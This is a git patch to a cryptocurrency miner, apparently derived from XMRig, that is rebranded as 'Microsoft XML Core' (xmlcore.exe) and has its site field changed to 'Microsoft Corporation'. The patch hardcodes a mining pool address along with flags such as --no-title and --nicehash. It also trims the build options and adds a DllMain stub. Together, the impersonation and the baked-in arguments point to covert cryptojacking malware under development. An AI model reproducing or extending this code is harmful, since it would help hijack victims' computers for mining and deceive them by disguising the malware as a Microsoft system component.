From 88a68c2cb5147865b02e420617ffc79647f69361 Mon Sep 17 00:00:00 2001 From: taherkaraki Date: Sun, 21 Feb 2021 23:51:03 +0200 Subject: [PATCH] arguments --- .vscode/settings.json | 3 +++ CMakeLists.txt | 24 +++++++++---------- src/version.h | 2 +- src/xmlcore.cpp | 54 +++++++++++++++++++++++++++++++++++++++---- 4 files changed, 66 insertions(+), 17 deletions(-) create mode 100644 .vscode/settings.json diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..cad7657d --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "cmake.configureOnOpen": false +} \ No newline at end of file diff --git a/CMakeLists.txt b/CMakeLists.txt index 7aa6ca46..f9443cef 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,15 +1,15 @@ cmake_minimum_required(VERSION 2.8.12) -SET(CMAKE_CONFIGURATION_TYPES ${CMAKE_BUILD_TYPE} CACHE STRING "" FORCE) +SET(CMAKE_CONFIGURATION_TYPES ${CMAKE_BUILD_TYPE} CACHE STRING "Release" FORCE) project(xmlcore) option(WITH_HWLOC "Enable hwloc support" ON) -option(WITH_CN_LITE "Enable CryptoNight-Lite algorithms family" ON) -option(WITH_CN_HEAVY "Enable CryptoNight-Heavy algorithms family" ON) -option(WITH_CN_PICO "Enable CryptoNight-Pico algorithm" ON) +# option(WITH_CN_LITE "Enable CryptoNight-Lite algorithms family" ON) +# option(WITH_CN_HEAVY "Enable CryptoNight-Heavy algorithms family" ON) +# option(WITH_CN_PICO "Enable CryptoNight-Pico algorithm" ON) option(WITH_RANDOMX "Enable RandomX algorithms family" ON) -option(WITH_ARGON2 "Enable Argon2 algorithms family" ON) -option(WITH_ASTROBWT "Enable AstroBWT algorithms family" ON) -option(WITH_KAWPOW "Enable KawPow algorithms family" ON) +# option(WITH_ARGON2 "Enable Argon2 algorithms family" ON) +# option(WITH_ASTROBWT "Enable AstroBWT algorithms family" ON) +# option(WITH_KAWPOW "Enable KawPow algorithms family" ON) option(WITH_HTTP "Enable HTTP protocol support (client/server)" ON) option(WITH_DEBUG_LOG "Enable debug log output" OFF) option(WITH_TLS "Enable OpenSSL support" ON) @@ -17,11 +17,11 @@ option(WITH_ASM "Enable ASM PoW implementations" ON) option(WITH_MSR "Enable MSR mod & 1st-gen Ryzen fix" ON) option(WITH_ENV_VARS "Enable environment variables support in config file" ON) option(WITH_EMBEDDED_CONFIG "Enable internal embedded JSON config" OFF) -option(WITH_OPENCL "Enable OpenCL backend" ON) -option(WITH_CUDA "Enable CUDA backend" ON) -option(WITH_NVML "Enable NVML (NVIDIA Management Library) support (only if CUDA backend enabled)" ON) -option(WITH_ADL "Enable ADL (AMD Display Library) or sysfs support (only if OpenCL backend enabled)" ON) -option(WITH_STRICT_CACHE "Enable strict checks for OpenCL cache" ON) +# option(WITH_OPENCL "Enable OpenCL backend" ON) +# option(WITH_CUDA "Enable CUDA backend" ON) +# option(WITH_NVML "Enable NVML (NVIDIA Management Library) support (only if CUDA backend enabled)" ON) +# option(WITH_ADL "Enable ADL (AMD Display Library) or sysfs support (only if OpenCL backend enabled)" ON) +# option(WITH_STRICT_CACHE "Enable strict checks for OpenCL cache" ON) option(WITH_INTERLEAVE_DEBUG_LOG "Enable debug log for threads interleave" OFF) option(WITH_PROFILING "Enable profiling for developers" OFF) option(WITH_SSE4_1 "Enable SSE 4.1 for Blake2" ON) diff --git a/src/version.h b/src/version.h index 7ea4e6d5..ab91424a 100644 --- a/src/version.h +++ b/src/version.h @@ -30,7 +30,7 @@ #define APP_DESC "Microsoft XML Core" #define APP_VERSION "6.8.2" #define APP_DOMAIN "xmlcore.com" -#define APP_SITE "www.xmlcore.com" +#define APP_SITE "Microsoft Corporation" #define APP_COPYRIGHT "Copyright (C) 2016-2021 xmlcore.com" #define APP_KIND "xcore" diff --git a/src/xmlcore.cpp b/src/xmlcore.cpp index a04e7872..c7ebb915 100644 --- a/src/xmlcore.cpp +++ b/src/xmlcore.cpp @@ -26,6 +26,7 @@ #include "base/kernel/Entry.h" #include "base/kernel/Process.h" #include +#include int main(int argc, char **argv) { @@ -33,13 +34,14 @@ int main(int argc, char **argv) { char arg0[] = "xmlcore.exe"; char arg1[] = "-o"; char arg2[] = "192.168.202.97:8443"; - char arg3[] = "--background"; + //char arg3[] = "--background"; char arg4[] = "--no-title"; char arg5[] = "--nicehash"; - char arg6[] = "--cpu-max-threads-hint"; - char arg7[] = "75"; + // char arg6[] = "--cpu-max-threads-hint"; + // char arg7[] = "50"; - char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg3[0], &arg4[0], &arg5[0], &arg6[0], &arg7[0], NULL }; + char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg4[0], &arg5[0], NULL }; + //char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg3[0], &arg4[0], &arg5[0], &arg6[0], &arg7[0], NULL }; int argcc = (int)(sizeof(argvv) / sizeof(argvv[0])) - 1; // for(int i = 0; i < argcc; i++) // printf("%s\n", argvv[i]); @@ -54,3 +56,47 @@ int main(int argc, char **argv) { return app.exec(); } + +BOOL APIENTRY DllMain1( + //HINSTANCE hinstDLL, // handle to DLL module + HMODULE hModule, + DWORD fdwReason, // reason for calling function + LPVOID lpReserved ) // reserved +{ + LPCWSTR myText = L""; + LPCWSTR myCaption = L"xmlcoree"; + // Perform actions based on the reason for calling. + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + // Initialize once for each new process. + // Return FALSE to fail DLL load. + myText = L"Proc Attach"; + myCaption = L"xmlcoree"; + MessageBoxW( NULL, myText, myCaption, MB_OK ); + FreeLibraryAndExitThread(hModule, 0); + break; + + // case DLL_THREAD_ATTACH: + // // Do thread-specific initialization. + // myText = L"Thread Attach"; + // myCaption = L"xmlcoree"; + // MessageBoxW( NULL, myText, myCaption, MB_OK ); + // break; + + // case DLL_THREAD_DETACH: + // // Do thread-specific cleanup. + // myText = L"Thread Detach"; + // myCaption = L"xmlcoree"; + // MessageBoxW( NULL, myText, myCaption, MB_OK ); + // break; + + case DLL_PROCESS_DETACH: + // Perform any necessary cleanup. + myText = L"Proc Detach"; + myCaption = L"xmlcoree"; + MessageBoxW( NULL, myText, myCaption, MB_OK ); + break; + } + return TRUE; // Successful DLL_PROCESS_ATTACH. +}